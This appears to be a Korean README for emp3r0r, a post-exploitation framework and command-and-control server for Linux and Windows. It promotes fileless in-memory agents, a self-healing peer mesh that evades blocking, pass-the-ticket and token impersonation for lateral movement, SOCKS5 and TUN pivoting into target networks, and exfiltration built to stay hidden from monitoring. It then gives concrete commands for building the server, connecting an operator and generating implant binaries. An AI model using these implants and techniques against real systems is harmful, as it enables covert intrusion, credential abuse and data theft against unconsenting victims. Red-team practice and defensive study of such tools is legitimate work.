자가 치유 Gossip Mesh C2: 지원 피어 발견, 크로스 플랫폼 BOF 실행, 스크립트 가능 에이전트.
Linux와 Windows를 위한 자가 치유형, 메모리 전용 C2 — 끊어진 링크에서도 살아남고, 디스크에 절대 닿지 않으며, Win32 API를 스크립트로 헤쳐 나가는 에이전트.
emp3r0r는 은닉성과 복원력이 선택 사항이 아닌 Linux 및 Windows 환경을 위해 만들어진 포스트 익스플로잇 프레임워크이자 C2입니다. 단일 서버로의 안정적인 연결을 가정하는 대신, 에이전트들은 링크가 끊겨도 계속 작동하는 자가 치유 메시를 형성합니다. 대상에게 Python이나 PowerShell을 요구하는 대신, 모든 것을 메모리에서 실행합니다. 그리고 하나의 플랫폼 트릭에 국한되는 대신, emp3r0r는 Windows BOF, Linux 오브젝트, Starlark 스크립트를 실행합니다 — 모두 파일리스로, 모두 프로세스 내에서.
모든 에이전트는 자체 스크립팅 엔진을 탑재하고 있어, 컴파일하거나 바이너리를 배포하지 않고도 새로운 포스트 익스플로잇 로직을 추가할 수 있습니다.
중요한 이유: 에이전트 기능을 작성하고 확장하는 일이 스크립트를 편집하는 것만큼 간단해지며, 대상에 인터프리터나 새 바이너리를 떨어뜨리는 흔적이 전혀 없습니다.
에이전트는 처음 통신할 때 자신의 신원을 암호화 키에 바인딩하며, 이 바인딩은 절대 변경되지 않습니다.
중요한 이유: 세션 하이재킹과 에이전트 복제는 일어나지 않습니다. 통신하는 모든 에이전트는 당신이 등록한 그 에이전트입니다.
모든 C2 및 피어 링크는 세션에서 파생된 암호화 키와 함께 임시 ECDH 키를 사용합니다.
중요한 이유: 장기 키가 나중에 침해되더라도, 이미 지나간 트래픽을 복호화하는 데 사용될 수 없습니다.
에이전트는 서로를 발견하고 가십 메시를 통해 트래픽을 중계하므로, 하나의 링크나 서버가 사라져도 작전이 붕괴되지 않습니다.
중요한 이유: 네트워크가 당신을 대신해 피벗합니다. 링크를 끊거나, 박스를 잃거나, C2를 차단해도 에이전트는 스스로 경로를 재설정합니다.
파일은 C2를 통해서만이 아니라 에이전트 간에 직접 이동합니다.
중요한 이유: 전달이 빠르고 대부분 C2 채널에 보이지 않습니다 — 유출 제한 환경에 이상적입니다.
에이전트를 심는 일은 그것을 살려두는 일만큼이나 중요하게 다뤄집니다.
중요한 이유: 작고, 적응력 있으며, 메모리 위생적인 초기 접근은 다른 방법으로는 도달할 수 없는 호스트에 착륙할 수 있게 해줍니다.
컴파일된 C 모듈을 어느 플랫폼에서든 프로세스 내에서 실행합니다:
중요한 이유: BOF는 로더만큼만 좋습니다 — emp3r0r는 Linux와 Windows 모두에서 새 프로세스 없이, 흔적도 남기지 않고 프로세스 내에서 실행합니다.
Windows 호스트에 올라가면, emp3r0r는 도구를 떨어뜨리지 않고도 그 위의 사용자가 될 수 있게 해줍니다.
--user 플래그로 일회용 netonly 세션을 생성합니다: 이들은 에이전트 자체의 신원을 유지하고 아웃바운드 접근에만 대상 사용자의 신원을 빌립니다 — 어떤 비밀번호든 작동하며, 아무것도 검증되지 않습니다.--ticket 플래그로 Kerberos 티켓을 가져와 완전한 pass-the-ticket을 수행합니다: 네트워크 신원은 티켓의 것이 되고(예: Domain Admin), 로컬 신원은 절대 변하지 않습니다.--token, --user, --ticket을 받아들이므로, 신원 전환은 플래그 하나 거리에 있습니다 — 단일 명령으로 세션을 생성하고 티켓을 로드하는 것까지 포함합니다.중요한 이유: 에이전트가 전혀 없는 머신으로의 측면 이동 — SMB 공유, 서비스 제어, CIFS — 이 워크플로의 일상적인 부분이 되며, 디스크 위의 도구가 아닌 빌린 사용자로 인증됩니다.
또 다른 임플란트를 태우지 않고 피벗하세요: C2가 선택한 에이전트를 통해 중계하는 SOCKS5 프록시를 실행하고, 운영자 측은 투명 TUN 디바이스로 한 걸음 더 나아갈 수 있습니다.
socks_start 1080은 선택한 에이전트를 통해 터널링하는 SOCKS5 엔드포인트를 C2에 제공합니다 — proxychains나 아무 도구나 여기에 지정하면 대상 네트워크 안에 들어갑니다.tun2socks start --route 10.10.0.0/24는 지정한 서브넷만 해당 프록시를 통해 라우팅하는 TUN 디바이스를 생성합니다 — 나머지는 모두 평소 연결을 계속 사용합니다.중요한 이유: 에이전트 측 전체 네트워크에 투명하게 도달하세요 — DC에 curl하고, 아무 도구나 사용하며 — 유출이 운영자 박스가 아닌 대상 네트워크에서 오는 것처럼 보입니다.
중요한 이유: C2 채널은 평범한 트래픽처럼 보이도록 만들어지고, 회선에서 간결하게 유지됩니다.
중요한 이유: 디스크조차 적대적으로 취급됩니다 — 에이전트는 발견될 평문 아티팩트를 남기지 않습니다.
emp3r0r를 빌드하려면 호스트에 Docker 또는 Podman이 필요합니다 — 로컬 Go 툴체인은 필요 없습니다.
git clone --depth=1 https://github.com/jm33-m0/emp3r0r.git && cd emp3r0r
./install.py
설치 프로그램은 일회용 컨테이너에서 모든 것을 빌드하고 운영자 키트를 준비합니다. 유용한 플래그: --lightweight (Linux/Windows amd64만, 가장 빠름), --targets OS/ARCH,..., --debug, --skip-build.
서버 실행:
emp3r0r server --c2-hosts 1.2.3.4 --http-port 12345 --operator-port 13377
tar --zstd -xpf emp3r0r-operator-kit.tar.zst
cd ./emp3r0r-operator-kit && ./install.py
서버가 출력한 WireGuard 자격 증명을 사용하여 연결:
emp3r0r client --c2-port 13377 \
--server-wg-key '<SERVER_WG_KEY>' --server-wg-ip '<SERVER_WG_IP>' \
--operator-wg-ip '<OPERATOR_WG_IP>' --operator-wg-key '<OPERATOR_WG_KEY>' \
--c2-host 1.2.3.4
운영자 콘솔 내에서:
# Direct C2 agent
generate --type linux_executable --arch amd64 --cc your.domain.com
# Mesh gateway agent (also reachable from the C2 directly)
generate --type linux_executable --arch amd64 --cc your.domain.com \
--p2p --direct-c2 --p2p-transport mtls
# Mesh intermediate peer (relays for other agents)
generate --type linux_executable --arch amd64 --cc your.domain.com \
--p2p --p2p-transport mtls --peers 1.2.3.4
# Windows mesh peer over SMB named pipes (local \\.\pipe, cross-host \\host\pipe),
# AES-GCM framed like the other transports
# (requires the Windows SMB stack / logon session to reach the peer)
generate --type windows_executable --arch amd64 --cc your.domain.com \
--p2p --p2p-transport smb
메시 노드는 서로 다른 전송을 실행할 수 있습니다. 각 에이전트는 자신의 릴레이가 수신하는 전송과 포트를 광고하며, 다이얼러는 항상 피어의 광고된 전송을 사용하므로, 혼합 메시(예: Linux mTLS 노드와 함께 있는 Windows SMB 노드)는 모두가 로컬 기본값을 실행한다고 가정하는 대신 사용 가능한 전송을 공유하는 피어를 통해 라우팅합니다. smb는 Windows 페이로드에만 허용되며, kcp/mtls는 어디서나 작동합니다.